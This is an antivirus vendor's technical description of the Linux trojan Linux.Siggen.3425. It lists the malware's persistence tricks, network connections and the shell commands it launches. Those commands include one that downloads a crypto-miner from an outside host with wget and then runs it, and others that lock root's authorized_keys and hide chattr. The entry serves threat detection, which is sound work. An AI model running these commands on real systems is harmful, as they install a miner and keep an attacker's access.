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Linux.Siggen.3425

Added to the Dr.Web virus database: 2020-11-22

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Gets access to SSH keys
  • /root/.ssh/authorized_keys
Launches processes:
  • sh -c /bin/mv /usr/bin/chattr /usr/bin/t
  • /bin/mv /usr/bin/chattr /usr/bin/t
  • sh -c /usr/bin/t +i /root/.ssh/authorized_keys
  • /usr/bin/t +i /root/.ssh/authorized_keys
  • sh -c wget -c http://a.powerofwish.com/miner2 -O /tmp/miner2 && chmod 755 /tmp/miner2 && /tmp/miner2
  • wget -c http://a.powerofwish.com/miner2 -O /tmp/miner2
  • chmod 755 /tmp/miner2
  • /tmp/miner2
  • sh -c rm -f /etc/hosts.old
  • rm -f /etc/hosts.old
Performs operations with the file system:
Modifies file access rights:
  • /tmp/miner2
Creates folders:
  • /root/.ssh
Creates or modifies files:
  • /lib/x86_64-linux-gnu/security/pam_unix.so
  • /usr/bin/chattr
  • /tmp/miner2
  • /etc/hosts
  • /var/run/bioset
  • /run/bioset
Deletes files:
  • /etc/hosts.old
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
  • [2#######0:3035::681b:8139]:0
  • [2#######0:3036::ac43:d2fb]:0
  • [2#######0:3036::681b:8039]:0
  • 10#.#7.128.57:0
  • 17#.##.210.251:0
  • 10#.#7.129.57:0
  • 39.###.233.58:3366
HTTP GET requests:
  • a.######fwish.com/miner2
DNS ASK:
  • a.####rofwish.com
  • po##.##uminerpool.com
  • su###.ss.dxpool.com
Sends data to the following servers:
  • 39.###.233.58:3366
Receives data from the following servers:
  • 39.###.233.58:3366

Curing recommendations


Linux

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